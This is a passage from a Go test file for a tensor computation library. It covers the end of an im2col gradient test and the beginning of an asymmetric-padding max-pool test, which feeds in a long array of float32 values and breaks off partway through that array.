t.Errorf("error while Grad(): %v", err)
return
}
m := NewTapeMachine(g, BindDualValues())
defer m.Close()
if err := m.RunAll(); err != nil {
t.Error(err)
return
}
// t.Logf("x: %v", x.Value())
// t.Logf("c: %3.3f", cost.Value())
// t.Logf("xG: %v", grads[0].Value())
h := NewGraph()
a := NewTensor(h, dt, 4, WithShape(2, 1, 28, 28), WithInit(RangedFrom(0)))
b, err := Im2Col(a, kernel, pad, stride, dilation)
if err != nil {
t.Error(err)
return
}
cost2 := Must(Sum(b))
n := NewLispMachine(h)
defer n.Close()
if err = n.RunAll(); err != nil {
t.Error(err)
return
}
aG, err := a.Grad()
if err != nil {
t.Error(err)
return
}
// t.Logf("a: %v", a.Value())
// t.Logf("c: %3.3f", cost2.Value())
// t.Logf("aG: %v", aG)
assert.Equal(x.Value().Data(), a.Value().Data())
assert.Equal(grads[0].Value().Data(), aG.Data())
assert.Equal(cost.Value().Data(), cost2.Value().Data())
}
func TestIm2Col(t *testing.T) {
// assert := assert.New(t)
dts := []tensor.Dtype{tensor.Float64, tensor.Float32}
for _, dt := range dts {
for _, i2ct := range im2colTests {
im2colTest(t, dt, i2ct.kernel, i2ct.pad, i2ct.stride, i2ct.dilation)
}
}
}
func TestMaxPool2D_asymmetricPadding(t *testing.T) {
assert := assert.New(t)
tsts := []struct {
inputT tensor.Tensor
outputT tensor.Tensor
padding []int
}{
{
inputT: tensor.New(tensor.WithShape(1, 3, 32, 32),
tensor.WithBacking([]float32{1.7640524, 0.4001572, 0.978738, 2.2408931, 1.867558, -0.9772779, 0.95008844, -0.1513572, -0.10321885, 0.41059852, 0.14404356, 1.4542735, 0.7610377, 0.121675014, 0.44386324, 0.33367434, 1.4940791, -0.20515826, 0.3130677, -0.85409576, -2.5529897, 0.6536186, 0.8644362, -0.742165, 2.2697546, -1.4543657, 0.045758516, -0.18718386, 1.5327792, 1.4693588, 0.15494743, 0.37816253, -0.88778573, -1.9807965, -0.34791216, 0.15634897, 1.2302907, 1.2023798, -0.3873268, -0.30230275, -1.048553, -1.420018, -1.7062702, 1.9507754, -0.5096522, -0.4380743, -1.2527953, 0.7774904, -1.6138978, -0.21274029, -0.89546657, 0.3869025, -0.51080513, -1.1806322, -0.028182229, 0.42833188, 0.06651722, 0.3024719, -0.6343221, -0.36274117, -0.67246044, -0.35955316, -0.8131463, -1.7262826, 0.17742614, -0.40178093, -1.6301984, 0.46278226, -0.9072984, 0.051945396, 0.7290906, 0.12898292, 1.1394007, -1.2348258, 0.40234163, -0.6848101, -0.87079716, -0.5788497, -0.31155252, 0.05616534, -1.1651498, 0.9008265, 0.46566245, -1.5362437, 1.4882522, 1.8958892, 1.1787796, -0.17992483, -1.0707526, 1.0544517, -0.40317693, 1.222445, 0.20827498, 0.97663903, 0.3563664, 0.7065732, 0.01050002, 1.7858706, 0.12691209, 0.40198937, 1.8831507, -1.347759, -1.270485, 0.9693967, -1.1731234, 1.9436212, -0.41361898, -0.7474548, 1.922942, 1.4805148, 1.867559, 0.90604466, -0.86122566, 1.9100649, -0.26800337, 0.8024564, 0.947252, -0.15501009, 0.61407936, 0.9222067, 0.37642553, -1.0994008, 0.2982382, 1.3263859, -0.69456786, -0.14963454, -0.43515354, 1.8492638, 0.67229474, 0.40746182, -0.76991606, 0.5392492, -0.6743327, 0.031830557, -0.6358461, 0.67643327, 0.57659084, -0.20829876, 0.3960067, -1.0930616, -1.4912575, 0.4393917, 0.1666735, 0.63503146, 2.3831449, 0.94447947, -0.91282225, 1.1170163, -1.3159074, -0.4615846, -0.0682416, 1.7133427, -0.74475485, -0.82643855, -0.09845252, -0.6634783, 1.1266359, -1.0799315, -1.1474687, -0.43782005, -0.49803245, 1.929532, 0.9494208, 0.08755124, -1.2254355, 0.844363, -1.0002153, -1.5447711, 1.1880298, 0.3169426, 0.9208588, 0.31872764, 0.8568306, -0.6510256, -1.0342429, 0.6815945, -0.80340964, -0.6895498, -0.4555325, 0.017479159, -0.35399392, -1.3749512, -0.6436184, -2.2234032, 0.62523144, -1.6020577, -1.1043833, 0.05216508, -0.739563, 1.5430146, -1.2928569, 0.26705086, -0.039282817, -1.1680934, 0.5232767, -0.17154633, 0.77179056, 0.82350415, 2.163236, 1.336528, -0.36918184, -0.23937918, 1.0996596, 0.6552637, 0.64013153, -1.616956, -0.024326125, -0.7380309, 0.2799246, -0.09815039, 0.9101789, 0.3172182, 0.78632796, -0.4664191, -0.94444627, -0.4100497, -0.017020414, 0.37915173, 2.259309, -0.042257152, -0.955945, -0.34598178, -0.463596, 0.48148146, -1.540797, 0.06326199, 0.15650654, 0.23218104, -0.5973161, -0.23792173, -1.424061, -0.49331987, -0.54286146, 0.41605005, -1.1561824, 0.7811981, 1.4944845, -2.069985, 0.42625874, 0.676908, -0.63743705, -0.3972718, -0.13288058, -0.29779088, -0.30901298, -1.6760038, 1.1523316, 1.0796186, -0.81336427, -1.4664243, 0.5210649, -0.57578796, 0.14195317, -0.31932843, 0.69153875, 0.6947491, -0.7255974, -1.383364, -1.5829384, 0.6103794, -1.1888592, -0.5068163, -0.596314, -0.052567296, -1.9362798, 0.1887786, 0.52389103, 0.08842209, -0.31088617, 0.097400166, 0.39904633, -2.7725928, 1.9559124, 0.39009333, -0.6524086, -0.39095336, 0.49374178, -0.11610394, -2.0306845, 2.064493, -0.11054066, 1.0201727, -0.69204986, 1.5363771, 0.2863437, 0.60884386, -1.0452534, 1.2111453, 0.68981814, 1.3018463, -0.6280876, -0.48102713, 2.3039167, -1.0600158, -0.1359497, 1.1368914, 0.09772497, 0.5829537, -0.39944902, 0.37005588, -1.3065269, 1.6581306, -0.11816405, -0.6801782, 0.6663831, -0.4607198, -1.3342584, -1.3467175, 0.69377315, -0.15957344, -0.13370156, 1.0777438, -1.1268258, -0.7306777, -0.3848798, 0.09435159, -0.042171452, -0.2868872, -0.0616264, -0.10730527, -0.7196044, -0.812993, 0.27451634, -0.8909151, -1.1573553, -0.31229225, -0.15766701, 2.2567234, -0.7047003, 0.9432607, 0.7471883, -1.1889449, 0.77325296, -1.1838807, -2.6591723, 0.60631955, -1.7558906, 0.45093447, -0.6840109, 1.6595508, 1.0685093, -0.4533858, -0.6878376, -1.2140774, -0.44092262, -0.28035548, -0.36469355, 0.15670386, 0.5785215, 0.34965447, -0.76414394, -1.4377915, 1.3645319, -0.6894492, -0.6522936, -0.52118933, -1.8430696, -0.477974, -0.4796558, 0.6203583, 0.6984571, 0.003770889, 0.93184835, 0.339965, -0.015682112, 0.16092817, -0.19065349, -0.3948495, -0.26773354, -1.1280113, 0.2804417, -0.9931236, 0.8416313, -0.24945858, 0.04949498, 0.4938368, 0.6433145, -1.5706234, -0.20690368, 0.8801789, -1.6981058, 0.38728046, -2.2555642, -1.0225068, 0.038630553, -1.6567152, -0.98551077, -1.471835, 1.648135, 0.16422775, 0.5672903, -0.2226751, -0.35343176, -1.6164742, -0.29183736, -0.7614922, 0.8579239, 1.1411018, 1.4665787, 0.85255194, -0.5986539, -1.1158969, 0.7666632, 0.3562928, -1.7685385, 0.3554818, 0.8145198, 0.058925588, -0.18505368, -0.8076485, -1.4465348, 0.800298, -0.30911446, -0.23346666, 1.7327212, 0.6845011, 0.370825, 0.1420618, 1.5199949, 1.7195894, 0.9295051, 0.5822246, -2.094603, 0.12372191, -0.13010696, 0.09395323, 0.9430461, -2.7396772, -0.56931204, 0.26990435, -0.46684554, -1.4169061, 0.8689635, 0.27687192, -0.97110456, 0.3148172, 0.8215857, 0.005292646, 0.8005648, 0.078260176, -0.39522898, -1.1594205, -0.085930765, 0.19429293, 0.87583274, -0.11510747, 0.4574156, -0.964612, -0.78262913, -0.1103893, -1.0546285, 0.8202478, 0.46313033, 0.27909577, 0.3389041, 2.0210435, -0.4688642, -2.2014413, 0.1993002, -0.050603542, -0.51751906, -0.97882986, -0.43918952, 0.18133843, -0.5028167, 2.4124537, -0.96050435, -0.79311734, -2.28862, 0.25148442, -2.0164065, -0.53945464, -0.27567053, -0.70972794, 1.7388726, 0.99439436, 1.3191369, -0.8824188, 1.128594, 0.49600095, 0.77140594, 1.0294389, -0.90876323, -0.42431763, 0.86259604, -2.6556191, 1.5133281, 0.55313206, -0.045703962, 0.22050765, -1.0299352, -0.34994337, 1.1002843, 1.298022, 2.696224, -0.07392467, -0.65855294, -0.51423395, -1.0180418, -0.07785475, 0.38273242, -0.03424228, 1.0963469, -0.2342158, -0.34745064, -0.5812685, -1.6326345, -1.5677677, -1.179158, 1.3014281, 0.8952603, 1.3749641, -1.3322116, -1.9686247, -0.6600563, 0.17581895, 0.49869028, 1.0479722, 0.28427967, 1.7426687, -0.22260568, -0.9130792, -1.6812183, -0.8889713, 0.24211796, -0.8887203, 0.9367425, 1.4123276, -2.369587, 0.8640523, -2.239604, 0.40149906, 1.2248706, 0.064856105, -1.2796892, -0.5854312, -0.26164544, -0.18224478, -0.20289683, -0.10988278, 0.21348006, -1.2085737, -0.24201983, 1.5182612, -0.38464543, -0.4438361, 1.0781974, -2.5591846, 1.1813786, -0.63190377, 0.16392857, 0.09632136, 0.9424681, -0.26759475, -0.6780258, 1.2978458, -2.364174, 0.020334182, -1.3479254, -0.7615734, 2.0112567, -0.044595428, 0.1950697, -1.7815628, -0.7290447, 0.1965574, 0.3547577, 0.61688656, 0.008627899, 0.5270042, 0.4537819, -1.8297404, 0.037005723, 0.76790243, 0.5898798, -0.36385882, -0.8056265, -1.1183119, -0.13105401, 1.1330799, -1.9518042, -0.6598917, -1.1398025, 0.7849575, -0.5543096, -0.47063765, -0.21694957, 0.44539326, -0.392389, -3.046143, 0.5433119, 0.43904296, -0.21954103, -1.0840366, 0.35178012, 0.37923554, -0.47003287, -0.21673147, -0.9301565, -0.17858909, -1.5504293, 0.41731882, -0.9443685, 0.23810315, -1.405963, -0.5900577, -0.110489406, -1.6606998, 0.115147874, -0.37914756, -1.7423562, -1.3032428, 0.60512006, 0.895556, -0.13190864, 0.40476182, 0.22384356, 0.32962298, 1.285984, -1.5069984, 0.67646074, -0.38200897, -0.22425893, -0.30224973, -0.3751471, -1.2261962, 0.1833392, 1.670943, -0.05613302, -0.0013850428, -0.687299, -0.11747455, 0.46616644, -0.37024245, -0.45380405, 0.40326455, -0.91800475, 0.25249663, 0.8203218, 1.3599485, -0.09038201, 1.3675972, 1.0344099, -0.99621266, -1.2179385, -0.30496365, 1.0289356, -0.07228701, -0.6006576, 1.5522432, 0.28690448, -2.3205943, 0.31716064, 0.52004063, 0.22560866, 0.4497121, -0.067275606, -1.3183959, -0.370704, -0.94561577, -0.9327409, -1.2630683, 0.45248908, 0.097896144, -0.44816536, -0.64933795, -0.023423105, 1.0791948, -2.0042157, 0.37687653, -0.545712, -1.8845859, -1.945703, -0.9127835, 0.21950956, 0.39306292, -0.9389816, 1.017021, 1.4229835, 0.39608657, -0.59140265, 1.1244192, 0.7553957, 0.86740744, -0.6564637, -2.8345544, 2.116791, -1.6108783, -0.035768073, 2.3807454, 0.33057675, 0.94924647, -1.5023966, -1.7776669, -0.5327028, 1.0907497, -0.34624946, -0.7946363, 0.19796729, 1.0819352, -1.4449402, -1.210543, -0.7886692, 1.0946383, 0.23482153, 2.1321535, 0.9364457, -0.035095178, 1.2650778, 0.21149701, -0.70492136, 0.67997485, -0.6963267, -0.2903971, 1.3277828, -0.10128149, -0.8031414, -0.46433768, 1.0217906, -0.55254066, -0.38687086, -0.51029277, 0.1839255, -0.38548976, -1.6018361, -0.8871809, -0.932789, 1.2433194, 0.81267405, 0.58725935, -0.50535834, -0.81579155, -0.5075176, -1.0518801, 2.4972005, -2.2453218, 0.56400853, -1.2845523, -0.10434349, -0.98800194, -1.177629, -1.1401963, 1.7549862, -0.13298842, -0.7657022, 0.55578697, 0.010349315, 0.72003376, -1.8242567, 0.30360392, 0.7726948, -1.6615983, 0.44819528, 1.6961815, -0.014857704, 0.82140595, 0.67057043, -0.7075057, 0.039766736, -1.5669947, -0.45130304, 0.26568797, 0.7231005, 0.024612125, 0.71998376, -1.1029062, -0.10169727, 0.019279385, 1.8495913, -0.21416666, -0.49901664, 0.021351224, -0.91911346, 0.19275385, -0.3650552, -1.7913276, -0.058586553, -0.3175431, -1.6324233, -0.06713416, 1.4893559, 0.5213038, 0.6119272, -1.3414967, 0.47689837, 0.14844958, 0.5290452, 0.4226286, -1.3597807, -0.041400813, -0.75787085, -0.050084095, -0.8974009, 1.3124703, -0.8589724, -0.8989422, 0.07458641, -1.0770991, -0.4246633, -0.8299646, 1.411172, 0.78580385, -0.057469517, -0.39121705, 0.9409176, 0.4052041, 0.49805242, -0.026192237, -1.68823, -0.112465985, -0.5324899, 0.6450553, 1.0118425, -0.65795106, 0.46838522, 1.735879, -0.66771275, 1.6819217, -0.85258585, 0.022959756, -0.011145612, 0.0114989, -0.837678, -0.5911831, -0.66772026, 0.3269626, 0.33003512, 2.2259443, 1.370989, -0.50984323, 0.3248696, 0.997118, 0.030601824, -0.069641575, 0.05157494, 0.8672766, -0.84832054, -0.32566947, 0.47043315, 0.31144708, 0.23958276, -0.36980116, 0.9725358, 2.1338682, 0.4064155, -0.1931767, 0.7557403, -0.53913265, -0.74969035, 0.032808747, -2.5827966, -1.1539503, -0.34796184, -1.3533889, -1.0326431, -0.43674833, -1.6429653, -0.40607178, -0.53527015, 0.025405208, 1.154184, 0.17250441, 0.021062022, 0.099454455, 0.22739278, -1.0167387, -0.11477532, 0.30875126, -1.37076, 0.8656529, 1.0813761, -0.63137597, -0.24133779, -0.87819034, 0.69938046, -1.0612223, -0.222477, -0.8589199, 0.05095428, -1.7942293, 1.3264617, -0.9646064, 0.059894685, -0.21252304, -0.7621145, -0.88778013, 0.93639857, -0.5256406, 0.2711702, -0.80149686, -0.64718145, 0.47224715, 0.9304085, -0.17531641, -1.4219198, 1.997956, -0.8565493, -1.5415874, 2.5944245, -0.4040323, -1.4617327, -0.6834398, 0.3675449, 0.19031155, -0.8517292, 1.8227236, -0.5215797, -1.1846865, 0.9606934, 1.3290628, -0.8174931, -1.4013473, 1.0304383, -2.0473237, -1.2266216, 0.96744615, -0.055352546, -0.26393735, 0.3528166, -0.15277442, -1.2986867, 1.2760754, 1.325014, 0.20533256, 0.045134015, 2.339625, -0.27643284, -0.25957698, 0.36448124, 1.471322, 1.5927707, -0.25857264, 0.30833125, -1.3780835, -0.3119761, -0.84029037, -1.0068318, 1.6815767, -0.79228663, -0.5316059, 0.36584878, 1.2978252, 0.48111513, 2.759355, -0.074667975, 0.25871643, 0.27560067, 1.4350494, 0.5072389, -0.1162297, -0.9474886, 0.24444346, 1.4013448, -0.4103818, 0.5289436, 0.24614778, 0.86351967, -0.8047537, 2.346647, -1.2791611, -0.36555108, 0.9380925, 0.29673317, 0.82998616, -0.49610233, -0.074804984, 0.012231983, 1.5692596, 0.69042903, 0.7966721, -0.6579261, 0.9688826, 0.22558166, 1.3891454, 2.0140603, -0.30676576, -0.40630314, -0.86404496, -0.14357951, -0.38202545, 0.3595044, -0.14456682, -0.36159927, 1.0645851, -0.9378802, 0.43310794, -0.40594172, 0.7243685, 1.3852615, -0.30309826, 0.44103292, 0.17879286, -0.7994224, 0.2407875, 0.2891205, 0.41287082, -0.1983989, 0.0941923, -1.1476109, -0.35811406, 0.5559627, 0.8924739, -0.42231482, 0.10471403, 0.22805333, 0.20147994, 0.5407736, -1.8180777, -0.04932407, 0.2390336, -1.0003303, 1.6739857, 0.16155927, 1.5634048, -0.790523, -0.9073001, 0.22425222, -1.6786884, 0.2149656, 0.09721923, 1.0156653, 0.70104134, -0.41747734, -1.0974966, 1.7123052, -0.79211503, -1.0455246, -1.084856, 1.1173053, -0.5189002, -0.7537045, 0.13768983, -0.2069447, -0.67809546, 0.7539915, 1.0653155, 0.9853175, 0.7669197, 0.40262553, -1.775888, 1.6692508, 0.3019892, 0.60815644, 1.1149623, 1.4333525, 0.41839802, 0.43554616, -0.59922427, 0.03308975, -0.85416126, -0.71994054, -0.8935744, -0.15602389, 1.0490932, 3.1709747, 0.18949963, -1.3484131, 1.2649833, -0.30078387, -0.6606086, 0.20984948, -1.2406245, 0.22246316, -0.08837552, 0.098377906, 0.38141626, 0.067492254, 0.016338084, 0.2843145, 0.41540062, -1.0314825, -1.4299912, -0.061638054, -1.4327354, 0.08753147, 0.93874687, 0.6071117, -1.0481704, -0.86026245, 0.32830128, -0.4012978, -0.3166553, 0.5969065, -0.9872867, -0.40123472, -0.8000825, -1.0431294, -0.8570782, 0.67746216, 0.05182039, -0.87916064, -0.2311016, -1.6388073, -0.7333128, 2.1495745, -0.090243846, 0.73165894, -0.065488376, 0.34816924, 0.6632581, -1.1046166, -0.030936258, 1.5788652, -0.7955006, -0.56643987, -0.30769128, 0.26902407, 0.52491784, 1.2674117, 0.49949825, -0.062053125, 1.2591671, 0.70411104, -1.4956795, 2.5263681, 1.7699214, -0.16821422, 0.3779101, 1.3243587, -0.1722008, 0.7303518, 1.1045785, -1.0148259, -0.6023319, 0.9214084, 0.46081448, 0.92379653, -0.13256802, -0.28900522, -1.9986395, -1.1460004, 0.047066096, 0.82455724, 0.53117836, -0.12824197, -0.27177158, 0.21717963, 0.07821118, 1.4045455, 0.14644077, -1.481246, -1.2725581, 1.5187594, -1.1711605, 0.76449746, -0.26837274, -0.16975829, -0.13413279, 1.221385, -0.19284183, -0.033319283, -1.5308034, 0.2066905, 0.5310425, 0.23914558, 1.3978963, 0.055171356, 0.29897746, 1.648504, -1.5500141, -0.45582536, 1.4261588, 0.93612915, 0.6783801, 0.8326507, 0.3270662, 1.6315974, 0.37775916, 0.2398671, 0.15895867, 0.19286396, -1.1570172, 0.77067304, -0.13043973, 1.8219151, -0.07565047, 0.4209183, 0.24660219, -0.625557, 0.99213684, 1.9050636, -0.01477722, -0.3004788, -0.35502872, -1.8923619, -0.17781314, 0.2509981, 1.054758, 0.9600477, -0.41649908, -0.27682298, 1.1239053, -0.1734639, -0.51002955, 1.3925184, 1.0375856, 0.018791791, -0.5937774, -2.0118804, 0.5897036, -0.8963697, -1.962732, 1.5848205, 0.6479678, -1.1390082, -1.2144014, 0.8709618, -0.87797064, 1.2961498, 0.6164593, 0.53659654, 0.40469545, 0.19145088, 0.8805112, -0.45408037, 0.08595198, 0.75194657, 0.5629897, -1.1949868, -0.50040966, 0.2528035, -0.4080147, 1.7746586, -0.3931532, -0.16221845, 0.76943016, 0.33053273, -0.14527446, -0.7564935, 0.30151406, 1.0390965, 0.47909522, -0.7781835, 1.7367749, -1.4465779, -1.5826856, 0.9605572, 0.22584048, -0.54949856, -1.0985707, 2.3207998, 0.11709087, 0.53420115, 0.3178851, 0.43480796, 0.54009444, 0.732424, -0.3752224, -0.29164198, -1.7410228, -0.78030443, 0.2711128, 1.0450233, 0.59903955, -0.34069234, -1.2631729, -2.7773592, 1.151734, -0.589229, -0.44846502, 0.13157398, -1.40556, -0.34978217, 2.0234718, 0.50538695, 0.35924914, -1.5824945, 2.2436018, -1.4227949, 1.9223248, -2.115056, 1.4053655, 1.6180543, -0.8244091, 0.42258036, 0.5474806, -0.8137945, -1.4491177, -1.3177173, 0.54100823, -0.085115604, -0.564301, 0.966768, 0.5080679, -0.7554627, -1.2012016, 0.5232617, -0.53758335, 0.09920486, 1.576299, 0.5023282, -0.862267, 0.16066119, -0.95264494, 1.6085222, -0.56157875, 0.20727074, 0.30773258, 0.15925047, -1.9585489, -1.446421, -0.4523503, 0.31943184, -0.13777922, -0.9571475, -1.3484243, -0.40155753, -0.46847606, 0.51283646, -0.32631847, 0.6027077, -0.5946498, -0.25595766, -0.3480464, -0.782367, 0.6251187, -0.813596, -0.5216415, -0.07311965, -1.2973796, -0.32493496, -0.71130633, -0.38815418, -0.059928004, -0.79991364, -0.22007579, 1.3086687, -0.025798557, 1.1452621, 0.34649444, 0.7741606, -0.77445894, 0.10490716, 0.13391292, -0.6126257, -0.82282835, -1.4902654, 1.4961396, -0.9724029, 1.3462211, -0.46749318, -0.8624933, 0.62251914, -0.63119197, 0.5684589, -0.33281177, 0.4804245, -0.9681861, 0.83135104, 0.48797268, -0.9196507, 2.6429358, 0.54012305, 2.290467, 1.6002678, -0.18883479, -0.41227177, -0.4034592, -1.8300285, -0.6958351, 0.24676603, 1.5259576, -0.7727719, 0.8820566, -1.2525934, -0.58632004, -0.4576406, 0.3718111, 0.45730963, 0.9623417, 0.77083695, 0.24316822, 0.39036494, 1.5885307, -0.5109262, 0.7747283, -1.808144, 0.41133425, -0.48324955, 0.0025711823, 1.0400863, 0.16464381, 0.88518757, 1.4737648, 0.38909397, 1.171041, -0.32656097, -0.008209882, -0.5226194, 1.0429776, 0.41409135, -0.50723445, 0.15466884, 1.0415684, -0.03926799, -0.9489328, 0.13191175, -1.9805655, 0.76877064, -0.4213276, -0.46931073, 0.8756957, -1.3651628, 1.9470986, -0.48024204, -0.52325094, 1.0212247, 0.7086953, 2.4512298, -0.21120599, -0.120406635, -1.479316, -0.33210227, -0.7214313, -0.448767, -1.7441877, 1.6606076, -1.4166034, -2.8022027, -1.1884245, -0.6038396, -1.149554, 1.0983036, -0.13783918, 0.025385605, 0.61039174, 0.28601253, 0.9785673, -1.1094775, -0.5475181, 0.66596717, -2.5345545, -1.3751845, 0.50099224, -0.48024905, 0.9361076, 0.8091803, -1.1980929, 0.4066571, 1.2016978, 0.1474344, -0.97746485, 0.87938994, 0.63542455, 0.54261076, 0.71593887, -2.994613, 0.8809376, 1.8081318, 0.43663847, 0.192729, 0.69643867, 0.33822548, 0.65178126, 0.0014710003, -0.76670486, -1.0043228, -0.9981917, -1.3730426, -1.067742, 1.7612661, 0.7540957, -0.6250274, -0.3903927, 0.11255753, -0.65554506, 0.067516856, 0.77760416, -0.035742734, 0.33601573, 0.88649154, -0.27213177, 0.2847906, -0.30937758, -0.02852887, -0.32473028, -0.52886987, 0.17371185, 0.5665453, 0.14630444, 0.49872696, -0.7379318, -1.2037352, 0.4170435, 0.6878814, 0.049857266, 1.3480358, 0.9076988, 2.6805708, -0.20080851, -0.9988488, -0.7401368, -0.5654978, 0.4760314, -2.1580687, 1.3185511, -0.23929659, -0.24679355, -1.0793432, -0.11422555, 0.013239767, -0.12194493, 0.33905926, -0.58963203, -0.8958158, 0.5483281, 0.09866745, 0.19718106, 1.0590272, -1.0225644, -0.85524046, 1.2572197, -1.4828833, -1.3094121, 0.81786186, 0.23820019, 0.105232134, -0.09165941, 0.031267546, -0.09211212, 1.3554426, -0.39814812, -0.16137354, 1.7944489, 0.027509702, 2.2320163, -0.1049797, 1.367415, -1.655344, 0.15364446, -1.5844736, 0.8444543, -1.2128679, 0.28376955, -0.28219587, -1.1582032, -1.61936, -0.51104045, 1.7406294, -0.29348505, 0.91722155, -0.057042867, 0.87672675, -1.8269113, -0.40318832, 0.94940555, -0.16325495, -0.086455286, -0.4304619, 1.1493794, 0.29751435, 0.044022277, 0.64305454, 0.58822495, 0.21258704, 1.5470315, -0.060287535, 0.27808106, -0.64295256, 0.15011522, 1.5877615, -0.6432576, -1.1335928, 0.99675965, -0.14876615, 0.0960042, -0.045113303, 0.079121724, 0.8505307, -0.8391242, -1.0117741, 0.084968135, -1.6064397, -1.3730536, 1.8666831, 0.75746834, -0.010056471, 1.238007, -1.0405992, -0.31560314, 0.6234536, 0.8906717, 0.51291686, -2.5412388, -0.96808213, 0.4770681, -0.3559515, 2.5402317, 0.9265583, 0.55808187, -1.1169496, -0.03529674, 0.24120396, 1.1277837, 0.8811311, 1.0329891, -0.923912, 1.4121517, -1.3804307, -0.53591454, 0.43077114, -0.14989159, -1.0060369, -0.82154983, -1.5482544, 0.5319746, 1.2605689, -0.100393504, -0.4003488, -1.472323, 0.9132019, 2.2113044, -1.7974558, -1.0634329, -0.679593, -0.5643179, 0.22734594, 1.6142496, 1.0085973, 0.52759737, -0.7239287, -1.1196282, -0.7967753, 1.5480669, -0.0617433, -0.44683626, -0.18375573, 0.8246182, -1.3128496, 1.4148741, 0.15647626, -0.21634398, 0.44284612, 0.21839707, -0.34419647, -0.25271067, -0.86886257, 0.6563907, -0.5319938, -0.9562584, 0.16586353, 1.3291413, -0.048344623, -0.60810125, 0.40389603, 1.9367125, -1.4519055, 0.38220277, 0.20508662, 1.1615338, 0.99090916, -0.1867091, -1.6845173, 0.8065638, -0.8351927, -0.9467404, 1.1483506, -0.9108504, 1.4028448, 0.33584473, 0.3191184, 0.30726478, -1.6384237, -1.7763886, 0.21555306, 0.56800735, 0.08261103, -0.8215345, 0.018922104, -0.082034156, -0.9571581, 1.0139722, -1.7302761, 0.58874243, 0.38432342, 1.0097119, -1.0053118, 0.10140715, 2.171165, 0.66207427, 0.10058121, 0.53916126, 0.08617684, 2.190898, 0.9836362, -0.08561496, 0.25233144, -0.390798, 1.2098501, -1.4061048, -1.6047385, 1.4587147, 2.1531198, 0.4683049, 0.11273794, 0.6572677, -0.64705354, 0.17124355, 0.038908705, 0.62656426, -1.5579985, -0.5070348, 0.8449956, -0.67559385, -0.99336135, 2.042072, 0.038118, -0.57891816, -1.6923704, 0.72934633, 0.69913614, -0.2987596, -1.1022302, -0.024549423, -0.8358561, -0.9420936, -0.10321275, -1.0513904, 0.24664895, 0.60799253, -0.83963245, -1.3682451, 1.5612797, -0.94027025, -0.6599427, 0.21301717, 0.59936935, -0.2563169, 0.46079433, -0.40098616, -0.97117066, 1.4263169, 2.4884417, 1.6959696, 0.14180663, 1.8334354, 0.3557035, -0.47728628, 0.46637958, -0.09439251, -0.9831182, -0.898322, 0.8020517, -1.846532, 0.60413677, -1.6295836, -2.1211765, -1.8388466, 1.966764, -0.19623396, 0.08658318, 1.419255, 0.9341797, -1.3915052, 0.86900634, 0.18418126, -0.34167808, 0.024290914, 1.279812, -0.8859665, 0.40088567, -0.009657237, -1.7971646, -0.8022532, 0.19321355, 1.2973421, 1.001331, 0.5972125, -0.81527567, 1.801214, 0.21524046, -1.0063655, -0.18290497, 0.8962484, 0.0076174983, 0.88686466, 1.103694, 0.4005307, -0.8577026, 0.13545467, 0.045165855, 1.8593464, -1.6263219, -0.13482246, -0.5840936, 0.33510563, -2.4375644, 1.1149246, 0.013748487, -1.8447012, -0.36111313, 0.60896236, -1.5914478, 0.0032222164, -1.0574737, -0.55598503, 0.026738383, 0.18345025, -0.4707425, 0.2727964, 0.8179776, -0.27891427, 1.4315678, 1.4622141, -0.42870206, -0.63784057, -1.664173, -0.12656933, -0.36343777, 0.77905124, -1.5096616, -0.2773914, 0.9687444, -0.7303571, -0.7623615, -1.4469403, 2.6205738, -0.7474732, -1.3003469, -0.8038504, -0.7742951, -0.26938978, 0.8253722, -0.29832315, -0.9228233, -1.4513385, 0.021857359, 0.042539075, 1.5309323, 0.092447735, -0.099008314, -1.0506538, -0.30595258, -0.43847445, -0.37016416, -0.9592554, 0.5383296, -0.14244542, -0.20035347, -1.7140461, 0.4936441, 0.48701534, -0.8391294, 0.99012136, -1.3647583, -0.021869909, -0.27120733, -1.3171748, 0.18970262, 1.7025702, 0.06763423, -0.46302176, 0.44702417, 0.10572, 0.027762132, -0.4255422, 1.4219756, 0.45636335, -0.52867067, -0.10800384, -0.7408667, -0.60829115, -0.64072573, -1.1343116, 0.777277, -0.29104146, 0.5541276, -0.6701259, -0.060362495, -0.7110406, 0.71966815, -0.2484193, -0.7308736, -1.6417032, 0.27566653, -0.70838505, -0.015779218, -0.4917301, 0.9541896, 0.54414475, 0.4472121, -0.6161211, 0.46629006, 1.7148316, -0.83218604, 0.17233914, -1.649217, 1.3985621, -0.39791209, 0.7825789, -1.7232282, 1.7975394, -0.35687152, 0.54565734, 0.1508182, -0.25547078, 1.6857923, -1.6480463, 0.29871365, 0.91064566, -0.029856121, -0.11817078, -0.14268771, -1.2276365, 0.038127385, 0.51271755, 0.068599224, -0.2722761, -0.48972502, -0.27929667, 1.2577442, -2.0866349, 0.040071458, -0.3277549, 1.4558079, 0.055492226, 1.4849256, -2.12389, 0.4595849, 0.28005785, 1.3905339, -1.6413486, -0.15503581, 0.06606026, -0.4957955, 1.2165778, -0.33868217, 2.0347626, 1.0541779, 0.9508337, 0.559299, -1.0636955, -0.43109635, 0.57275134, 0.67755705, 1.3071839, -0.46744102, -0.8601534, 0.8591042, -0.8096266, 0.8733118, 1.1997361, 0.45615304, -0.35757902, 0.041082226, 0.5934659, 0.010185518, 2.1982963, -0.9906709, -1.0026686, -0.9768954, -0.58957994, -2.1789315, -0.6296504, -0.6532847, 0.078514025, 0.41780058, -1.2402164, 0.9000542, 1.8022423, -0.20828511, 1.5743712, 0.1989895, 1.9887319, 1.1172835, -1.5639046, 0.01862737, 1.054325, 0.030546581, -0.03688353, 1.2697648, -0.7098542, 0.017515613, 0.32362577, -0.33379096, -0.020129103, 0.7750233, 0.43283764, -0.80871755, -1.104124, -0.7891022, 0.0012484558, -0.15993978, -0.8319575, -0.59815043, -1.5200393, 0.4178537, -0.040018726, -1.2597873, 0.028620504, 1.342622, -0.7399359, 1.3151376, -0.32345748, 0.19782817, 0.097750805, 1.4015235, 0.15843384, -1.1419014, -1.3109704, -1.5329211, -1.7119702, 0.04613506, -0.9583745, -0.08081161, -0.70385903, -0.7707843, -0.48084533, 0.70358557, 0.92914516, 0.37117255, -0.98982257, 0.6436313, 0.68889666, 0.2746472, -0.6036204, 0.70885956, 0.42281857, -3.1168566, 0.64445204, -1.9137427, 0.6635616, -0.1540724, 1.1936116, -0.09816121, -0.88661426, -0.14735366, 1.0598063, 0.026246618, -0.11433516, 0.7435535, 0.21035936, -0.005927406, 1.36606, 1.555114, 0.61332625, -0.28595915, 1.496911, 1.1831195, 0.71889716, -1.2160766, 0.14067191, -0.7436722, -0.15901226, 0.24005693, 0.10015941, -0.4751751, 1.2729537, -1.6961312, 0.73018354, -1.8574833, 0.38259813, -0.8869043, 0.87830377, 